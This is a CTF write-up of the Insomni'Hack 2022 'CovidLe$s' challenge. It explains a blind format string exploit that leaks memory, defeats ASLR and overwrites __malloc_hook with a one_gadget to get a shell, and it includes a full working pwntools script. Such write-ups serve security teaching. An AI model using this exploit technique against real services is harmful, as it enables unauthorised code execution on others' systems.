man hidden in lines of code

Insomni'Hack CTF Teaser 2022 CovidLe$s

Top News03/07/2022

By Florian Picca

In this challenge we have to perform a blind format string exploit to get a shell and read the flag.

Details
 

  • Category : pwn
  • Points : 74
  • Solves : 81

Description
 

nc covidless.insomnihack.ch 6666

Understanding the problem

When connecting to the server, we can input data that will be echoed back :

$ nc covidless.insomnihack.ch 6666
l
Your covid pass is invalid : l
try again ..

%p
Your covid pass is invalid : 0x400934
try again ..

As we can see, it’s a format string exploit, but the source code is not provided.

We can quickly identify that ASLR is enabled but PIE is not, as libc addresses change between executions, but program addresses do not:

$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f5c1aa67580
try again ..

$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f03e23b2580
try again ..

We also noticed it’s a 64-bit architecture.

Solving the problem

We can use the format string to leak the binary, libc addresses and GOT entries, defeating the ASLR.

We did not know if full-RELRO is activated or not, so our idea was to overwrite __malloc_hook with the address of the one gadget and force a malloc call by calling printf with some large formatter.

Implementing the solution

The first step is getting a way to read at an arbitrary address. For this we can abuse the %s formatter.

By submitting multiple %p, we can see that our input is reflected after the 12th formatter :

$ nc covidless.insomnihack.ch 6666
ABCDEFGH %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Your covid pass is invalid : ABCDEFGH 0x400934 (nil) (nil) 0x7f03e23b2580 0x7f03e21868d0 0x74346e3143633456 0x505f44315f6e6f31 0x5379334b5f763172 0x5f74304e6e34635f 0xa6b34336c (nil) 0x4847464544434241 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070
try again ..

Our function to read at any address is thus the following :

conn = remote("covidless.insomnihack.ch", 6666)

def read(addr):
    conn.sendline(b"%0013$s,"+p64(addr))
    conn.recvuntil(b": ")
    data = conn.recvuntil(b",", drop=True)
    conn.recvuntil(b"try again ..\n\n")
    return data, len(data)

Because 64-bit addresses contain null-bytes, we had to put the address at the end of our payload, that’s why the offset here is 13 and not 12.

Using this function we wrote another function to dump as much as possible of the binary :

def dump(start=0x400000, size=0xa00):
    data = b''
    end = start + size
    while start < end:
        if start & 0xFF != 0x0a:
            d, c = read(start)
        else:
            d, c = b'\x00', 1
        if c == 0:
            d = b'\x00'
            c = 1
        data += d
        start += c
    return data

with open("out.bin", "wb") as f:
    f.write(dump())

Only the start of the binary can be dumped, but is seems ok :

$ file out.bin 
out.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8616

Because the binary is incomplete, it cannot be opened easily in IDA. But we can threat it as a raw binary and tell IDA where to decompile. We recovered the entrypoint in the ELF headers using readelf :

$ readelf -e out.bin 
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400650
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6824 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28
readelf: Error: Reading 1856 bytes extends past end of file for section headers

After having identified the main function, and some of the imported functions like printf and puts, we can obtain their GOT entry addresses from the PLT, which is contained in our dump.

The GOT address of printf is thus 0x601028 and for puts it is 0x601018.

Using our read function we can leak their addresses in the libc :

# printf
print(read(0x601028)[0].hex())

# puts
print(read(0x601018)[0].hex())

# 803e4568207f
# c0f94668207f

From libc database we download the correspondingc libc and can look for the one gadget :

$ one_gadget libc6_2.27-3ubuntu1_amd64.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

The offset of __malloc_hook is 0x3ebc30.

We can use the recovered printf address to leak libc’s base address.

printf = u64(read(0x601028)[0]+b'\x00'*2)
print(f"printf : {hex(printf)}")
libc = printf - 0x064e80 # from libc database
print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])

# printf : 0x7fa7c9db6e80
# libc base : 0x7fa7c9d52000
# b'/bin/sh'

We can build a fonction that will write a single byte at an arbitrary address using the %hhn operator :

def writeByte(x, addr):
    conn.sendline(f"%{x:06}X%14$hhn,".encode() + p64(addr))
    conn.recvuntil(b"try again ..\n\n")

Using the above function, we can create another one that will write a QWORD at an arbitrary address :

def writeGX(gx, addr):
    a = gx & 0xFF
    if a : writeByte(a, addr)
    a = (gx & 0xFF00) >> 8
    if a : writeByte(a, addr+1)
    a = (gx & 0xFF0000) >> 16
    if a : writeByte(a, addr+2)
    a = (gx & 0xFF000000) >> 24
    if a : writeByte(a, addr+3)
    a = (gx & 0xFF00000000) >> 32
    if a : writeByte(a, addr + 4)
    a = (gx & 0xFF0000000000) >> 40
    if a : writeByte(a, addr + 5)
    a = (gx & 0xFF000000000000) >> 48
    if a : writeByte(a, addr + 6)
    a = (gx & 0xFF00000000000000) >> 56
    if a : writeByte(a, addr + 7)

We can use this function to overwrite __malloc_hook with the address of a one gadget :

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
shell = libc + one_gadgets[1]
print(f"one gadget : {hex(shell)}")

malloc_hook = libc+0x3ebc30
writeGX(shell, malloc_hook)

# check overwrite
print(read(malloc_hook)[0].hex())

# one gadget : 0x7f1dd0b34322
# 2243b3d01d7f

We can trigger the __malloc_hook call by printing a large string using a formatter :

conn.sendline("%74567p")
conn.sendline("id")
conn.interactive()

# [*] Switching to interactive mode
# uid=1000(covidless) gid=1000(covidless) groups=1000(covidless)

The full exploit is given below :

from pwn import *

def read(addr):
    conn.sendline(b"%0013$s,"+p64(addr))
    conn.recvuntil(b": ")
    data = conn.recvuntil(b",", drop=True)
    conn.recvuntil(b"try again ..\n\n")
    return data, len(data)

def writeByte(x, addr):
    conn.sendline(f"%{x:06}X%14$hhn,".encode() + p64(addr))
    conn.recvuntil(b"try again ..\n\n")

def writeGX(gx, addr):
    a = gx & 0xFF
    if a : writeByte(a, addr)
    a = (gx & 0xFF00) >> 8
    if a : writeByte(a, addr+1)
    a = (gx & 0xFF0000) >> 16
    if a : writeByte(a, addr+2)
    a = (gx & 0xFF000000) >> 24
    if a : writeByte(a, addr+3)
    a = (gx & 0xFF00000000) >> 32
    if a : writeByte(a, addr + 4)
    a = (gx & 0xFF0000000000) >> 40
    if a : writeByte(a, addr + 5)
    a = (gx & 0xFF000000000000) >> 48
    if a : writeByte(a, addr + 6)
    a = (gx & 0xFF00000000000000) >> 56
    if a : writeByte(a, addr + 7)

def dump(start=0x400000, size=0xa00):
    data = b''
    end = start + size
    while start < end:
        if start & 0xFF != 0x0a:
            d, c = read(start)
        else:
            d, c = b'\x00', 1
        if c == 0:
            d = b'\x00'
            c = 1
        data += d
        start += c
    return data

conn = remote("covidless.insomnihack.ch", 6666)

printf = u64(read(0x601028)[0]+b'\x00'*2)
print(f"printf : {hex(printf)}")
libc = printf - 0x064e80 # from libc database
print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
shell = libc + one_gadgets[1]
print(f"one gadget : {hex(shell)}")

malloc_hook = libc+0x3ebc30
writeGX(shell, malloc_hook)

# check overwrite
print(read(malloc_hook)[0].hex())

conn.sendline("%74567p")
conn.sendline("id")
conn.interactive()

conn.close()

Flag : INS{F0rm4t_5tR1nGs_FuULly_Bl1nd_!Gj!}

Our news